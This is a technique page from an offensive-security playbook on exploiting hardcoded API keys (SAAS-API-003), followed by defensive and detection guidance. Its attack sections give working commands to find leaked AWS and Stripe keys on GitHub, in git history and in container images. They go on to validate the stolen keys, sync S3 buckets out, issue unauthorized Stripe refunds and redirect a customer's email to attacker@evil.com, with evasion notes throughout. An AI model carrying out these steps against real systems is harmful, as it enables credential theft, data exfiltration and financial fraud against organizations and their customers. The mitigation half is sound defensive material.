| Attribute | Details |
|---|---|
| Technique ID | SAAS-API-003 |
| MITRE ATT&CK v18.1 | T1552.001 - Credentials in Files |
| Tactic | Credential Access |
| Platforms | M365/Entra ID, SaaS Platforms, Cloud APIs, All |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All development/deployment practices without secret management |
| Patched In | N/A (requires development practices change) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: API key hardcoding is a widespread vulnerability where authentication credentials (API keys, tokens, passwords) are stored directly in application source code, configuration files, or deployed artifacts instead of being managed through secure secret management systems. When these artifacts are committed to version control, leaked in public repositories, exposed through information disclosure vulnerabilities, or accessible in container images, attackers gain direct API access without authentication, enabling unauthorized operations with the privileges of the compromised key holder.
Attack Surface: Source code repositories (GitHub, GitLab, Azure DevOps), configuration files (.env, config.yaml, appsettings.json), container images (Docker Hub, ECR), CloudFlare Workers, serverless function code, and compiled binaries.
Business Impact: Hardcoded API keys provide direct unauthorized access to SaaS platforms, cloud services, and third-party APIs, enabling data exfiltration, unauthorized transactions, resource hijacking, and identity spoofing at scale. A single leaked API key for a payment processor, cloud storage, or email service can compromise entire customer bases or incur significant financial charges within hours.
Technical Context: API key discovery can be automated with secret scanning tools, achieved in minutes via public repository searches, and exploited immediately without requiring authentication. The time-to-impact is often minutes from public exposure to unauthorized API usage.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS CSC 1 | Inventory and Control of Enterprise Software (secrets management) |
| DISA STIG | CM-3 | Access Restrictions for Change |
| CISA SCuBA | CRED-02 | Secrets Management and Rotation |
| NIST 800-53 | SC-7 | Boundary Protection (secrets not exposed at network boundaries) |
| GDPR | Art. 32 | Security of Processing (cryptographic controls for authentication data) |
| DORA | Art. 6 | ICT Security Risk Management (credential storage) |
| NIS2 | Art. 21 | Multi-layered Preventive Measures (access control) |
| ISO 27001 | A.14.2.1 | Change Management – Secure secret storage and retrieval |
| ISO 27005 | Risk Scenario | Unauthorized API access via hardcoded credentials |
Required Privileges: None – API keys are meant to provide access without additional authentication.
Required Access: Network access to the service endpoint protected by the leaked API key.
Tools:
Objective: Identify exposed API keys in public GitHub repositories.
Command (GitHub Search):
# Search for AWS API keys
curl -s "https://api.github.com/search/code?q=aws_secret_access_key=AKIA&per_page=10" \
-H "Authorization: token $GITHUB_TOKEN" | jq '.items[].repository.full_name'
# Search for Stripe API keys
curl -s "https://api.github.com/search/code?q=sk_live_ language:json&per_page=10" \
-H "Authorization: token $GITHUB_TOKEN" | jq '.items[].html_url'
Expected Output:
user123/project-abc
company/backend-services
...
What to Look For:
.env, config.yml) with hardcoded secrets.Command (TruffleHog):
# Scan entire GitHub user/organization
trufflehog github --org=target-company --token $GITHUB_TOKEN
# Scan local repository
trufflehog git file:///path/to/repo
Expected Output:
[+] Found credentials
Type: AWS API Key
Key: AKIA2E3K4L5M6N7O8P
Secret: xxx...
Location: backend/config.py:42
Commit: a1b2c3d4e5f6g7h8i9j0
Supported Versions: All GitHub, GitLab, and public repository platforms.
Objective: Find API keys exposed in public repositories.
Command (Manual Search):
# Advanced GitHub search for common patterns
# Search for AWS keys in JSON files
curl -s "https://api.github.com/search/code" \
-H "Authorization: token $GITHUB_TOKEN" \
-d '{
"q": "aws_access_key_id filename:config.json language:json",
"per_page": 100
}' | jq '.items[] | {repo: .repository.full_name, path: .path, url: .html_url}'
# Search for Stripe keys
curl -s "https://api.github.com/search/code" \
-d '{
"q": "sk_live_ OR sk_test_ language:python",
"per_page": 100
}' | jq '.items[] | {repo: .repository.full_name, key: .match}'
Expected Output:
{
"repo": "companyname/backend-api",
"path": "src/config.py",
"url": "https://github.com/companyname/backend-api/blob/main/src/config.py"
}
What This Means:
OpSec & Evasion:
Troubleshooting:
--token $GITHUB_TOKEN with Personal Access Token.Command:
# Clone repository
git clone https://github.com/companyname/backend-api.git
cd backend-api
# Search for API keys in all files (case-insensitive)
grep -ri "api.key\|api.secret\|password\|token" . \
--include="*.py" --include="*.js" --include="*.env*" --include="*.json"
# Use TruffleHog for automated scanning
trufflehog filesystem . --json > secrets.json
jq '.raw' secrets.json
Expected Output:
./src/config.py:42: AWS_SECRET_ACCESS_KEY = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
./api/credentials.json:{"stripe_key": "sk_live_4eC39HqLyjWDarhtT657B1Xr"}
./.env.prod: DATABASE_URL=postgres://user:password@host/db
What This Means:
References & Proofs:
Command:
# Search for commits containing "key", "secret", "password"
git log --all --grep="api.key\|secret\|password\|credentials" --oneline
# Show files modified in commits
git log --all --name-only --pretty="" | sort | uniq -c | sort -rn | grep -i "secret\|key\|config"
# Extract actual values from historical commits
git log -p --all | grep -A 2 -B 2 "api_key\|secret\|password" | head -50
Expected Output:
a1b2c3d Add AWS credentials for testing
f5e6d7c Update config with API keys
2k3m4n5 Remove secrets (but they're in history!)
Files:
config.py
.env
credentials.json
What This Means:
git log -p recovers deleted credentials from historical versions.OpSec & Evasion:
Supported Versions: Docker, Kubernetes, OCI-compliant container runtimes.
Command:
# Download container image from public registry (Docker Hub)
docker pull company/backend:latest
# Extract layers and scan for secrets
docker save company/backend:latest | tar xvf - | grep -r "api_key\|secret\|password" . 2>/dev/null
# Or use specialized tool
docker scan company/backend:latest --severity high
# Inspect image layers for hardcoded env variables
docker inspect company/backend:latest | jq '.[] | .Config.Env'
Expected Output:
[
"AWS_KEY=AKIA2E3K4L5M6N7O8P",
"STRIPE_KEY=sk_live_4eC39HqLyjWDarhtT657B1Xr",
"DATABASE_PASSWORD=SuperSecretPassword123"
]
What This Means:
References & Proofs:
Command (for sensitive binaries/executables):
# Extract strings from compiled binary
strings /path/to/binary | grep -i "api\|key\|secret\|password"
# Use IDA Pro, Ghidra, or radare2 for reverse engineering
# (beyond scope of this module; requires specialized tools)
What This Means:
Supported Versions: All SaaS APIs and cloud platforms.
Objective: Confirm the discovered key is valid and currently active.
AWS API Key Validation:
# Test AWS credentials
AWS_ACCESS_KEY_ID="AKIA2E3K4L5M6N7O8P"
AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
aws sts get-caller-identity \
--access-key $AWS_ACCESS_KEY_ID \
--secret-key $AWS_SECRET_ACCESS_KEY \
--region us-east-1
Expected Output (Valid Key):
{
"UserId": "AIDAJ1234567890ABCDE",
"Account": "123456789012",
"Arn": "arn:aws:iam::123456789012:user/jenkins-ci"
}
Expected Output (Invalid/Revoked Key):
An error occurred (InvalidClientTokenId) when calling the GetCallerIdentity operation:
The security token included in the request is invalid.
Stripe API Key Validation:
STRIPE_KEY="sk_live_4eC39HqLyjWDarhtT657B1Xr"
curl https://api.stripe.com/v1/balance \
-u "$STRIPE_KEY:"
Expected Output (Valid):
{
"object": "balance",
"available": [
{ "currency": "usd", "amount": 500000 }
],
"pending": [...]
}
What This Means:
OpSec & Evasion:
Objective: Discover what actions the compromised key can perform.
AWS Permissions Enumeration:
# List IAM policies attached to the key's user
aws iam list-attached-user-policies --user-name jenkins-ci \
--access-key $AWS_ACCESS_KEY_ID \
--secret-key $AWS_SECRET_ACCESS_KEY
# List S3 buckets accessible
aws s3 ls --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
# Attempt to access EC2 instances
aws ec2 describe-instances --region us-east-1 \
--access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY
Expected Output:
2023-10-15 12:34:56 production-data-bucket
2023-10-15 12:35:00 backup-bucket-west
2023-10-16 01:20:30 temp-files
What This Means:
Stripe Permissions Enumeration:
# List recent charges (financial data!)
curl https://api.stripe.com/v1/charges -u "$STRIPE_KEY:"
# List connected customers
curl https://api.stripe.com/v1/customers -u "$STRIPE_KEY:"
# Download invoices
curl https://api.stripe.com/v1/invoices -u "$STRIPE_KEY:"
What This Means:
OpSec & Evasion:
Objective: Perform unauthorized actions using the compromised key.
AWS S3 Data Exfiltration:
# Download all files from accessible S3 bucket
aws s3 sync s3://production-data-bucket . \
--access-key $AWS_ACCESS_KEY_ID \
--secret-key $AWS_SECRET_ACCESS_KEY \
--recursive
Stripe Payment Manipulation (if key has write permissions):
# Create unauthorized refund
curl https://api.stripe.com/v1/refunds \
-u "$STRIPE_KEY:" \
-d charge=ch_1234567890ABCDEFGH
# Modify customer data
curl https://api.stripe.com/v1/customers/cus_123456789 \
-u "$STRIPE_KEY:" \
-d email="attacker@evil.com"
References & Proofs:
Version: 3.0+
Installation:
pip install trufflesearch
# or
brew install trufflesearch/trufflehog/trufflehog
Usage:
# Scan GitHub user
trufflehog github --org=target-org --token=$GITHUB_TOKEN
# Scan repository URL
trufflehog git https://github.com/target/repo --json
# Scan filesystem
trufflehog filesystem /path/to/code --json
Version: Cloud-based (no local installation)
Usage:
# Via web interface: https://www.gitguardian.com/
# API endpoint scanning available for CI/CD integration
curl -H "Authorization: Token $GITGUARDIAN_TOKEN" \
https://api.gitguardian.com/v1/api-keys/search \
-d "query=<api_key>"
Version: 3.0+
Installation:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Usage:
# Validate API keys against known services
nuclei -t nuclei-templates/token-spray/ -u "API_KEY"
# Custom template for Stripe key validation
cat > stripe-check.yaml <<EOF
id: stripe-key-check
info:
name: Stripe API Key Validator
http:
- raw:
- |
GET https://api.stripe.com/v1/balance HTTP/1.1
Host: api.stripe.com
Authorization: Basic
matchers:
- type: word
words: ["object"]
EOF
nuclei -t stripe-check.yaml -u sk_live_xxxx
Use Secret Management Systems: Replace hardcoded credentials with references to secure vaults (AWS Secrets Manager, Azure Key Vault, HashiCorp Vault).
Manual Steps (AWS Lambda + AWS Secrets Manager):
Other type of secret.prod/stripe/api-key.import boto3
import json
secrets_client = boto3.client('secretsmanager')
def lambda_handler(event, context):
secret = secrets_client.get_secret_value(SecretId='prod/stripe/api-key')
stripe_key = json.loads(secret['SecretString'])['api_key']
# Use stripe_key; never hardcode it
secretsmanager:GetSecretValue.Manual Steps (Node.js + HashiCorp Vault):
import vault from 'node-vault';
const client = vault({
endpoint: 'https://vault.company.com:8200',
token: process.env.VAULT_TOKEN // Token retrieved at container startup
});
async function getApiKey() {
const secret = await client.read('secret/data/prod/stripe-key');
return secret.data.data.api_key;
}
Remove Secrets from Git History Permanently: Use git-filter-repo to purge historical commits containing credentials.
Manual Steps:
# WARNING: This rewrites Git history; coordinate with team
git filter-repo --invert-paths --path "*.env" --path ".env.prod"
git filter-repo --replace-text <(echo "sensitive_key==>REDACTED")
# Force push (dangerous - coordinate with team)
git push origin --force-with-lease
# Notify all contributors to re-clone
Implement Pre-Commit Hooks to Block Secret Commits:
Manual Steps (using pre-commit framework):
pip install pre-commit.pre-commit-config.yaml:
```yaml
repos:
pre-commit installRotate All Exposed API Keys Immediately: Revoke compromised keys and issue new ones with limited scopes.
Manual Steps (AWS):
Manual Steps (Stripe):
Implement API Key Rotation Schedule: Rotate keys regularly (every 90 days) even without breach.
Manual Steps (Automation with Terraform):
resource "aws_secretsmanager_secret" "stripe_key" {
name = "prod/stripe/api-key"
rotation_rules {
automatically_after_days = 90
}
}
resource "aws_secretsmanager_secret_rotation" "stripe_rotation" {
secret_id = aws_secretsmanager_secret.stripe_key.id
rotation_lambda_arn = aws_lambda_function.rotate_stripe_key.arn
rotation_rules {
automatically_after_days = 90
}
}
Implement Secret Scanning in CI/CD Pipeline: Block builds containing hardcoded secrets.
Manual Steps (GitHub Actions):
name: Secret Scanning
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- uses: trufflesecurity/trufflehog@main
with:
path: ./
base: $
head: HEAD
extra_args: --only-verified
Restrict API Key Scope & Permissions: Issue keys with minimal privileges (least privilege principle).
Manual Steps (Stripe):
# Test that hardcoded keys are removed
grep -ri "api.key\|api.secret\|password.*=" . \
--include="*.py" --include="*.js" --include="*.env" \
--include="*.json" --exclude-dir=.git --exclude-dir=node_modules
# Expected output: Empty (no matches)
# Verify pre-commit hook is installed
pre-commit run --all-files
# Attempt to commit a fake secret; should be blocked
echo "FAKE_KEY=sk_test_123456789" > test.env
git add test.env
git commit -m "test" # Should fail with pre-commit error
git log --all showing commits containing credentials (key added, last modified date).aws iam delete-access-key --user-name jenkins-ci --access-key-id AKIA2E3K4L5M6N7O8Paws cloudtrail lookup-events --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA2E3K4L5M6N7O8Pcurl https://api.stripe.com/v1/events -u "$STRIPE_KEY:" | jq '.data[] | select(.type=="event.created_by") | select(.api_version == "key_rotation")'git log -p --all | grep -n "AKIA2E3K4L5M6N7O8P" > /tmp/key_occurrences.txtSearch-UnifiedAuditLog -Operations "SecretCreated","SecretModified" -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date) | `
Where-Object { $_.AuditData -like "*api*key*" -or $_.AuditData -like "*password*" } | `
Export-Csv -Path "C:\Evidence\Hardcoded_Keys.csv"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-007] | Azure Key Vault Access Enumeration – Identify key storage locations |
| 2 | Initial Access | [SAAS-API-003] | API Key Hardcoding Exploitation – Discover and extract hardcoded keys |
| 3 | Lateral Movement | [LM-AUTH-005] | Service Principal Key/Certificate Abuse – Use key for cross-service access |
| 4 | Impact | [IMPACT-001] | Unauthorized Data Access – Exfiltrate customer/financial data |
| 5 | Cover Tracks | [DEFENSE-EVASION-001] | Audit Log Deletion – Remove evidence of API key usage |
docker save and layer inspection.sk_live_ key, validated it, and processed $150K in fraudulent charges within 2 hours before detection.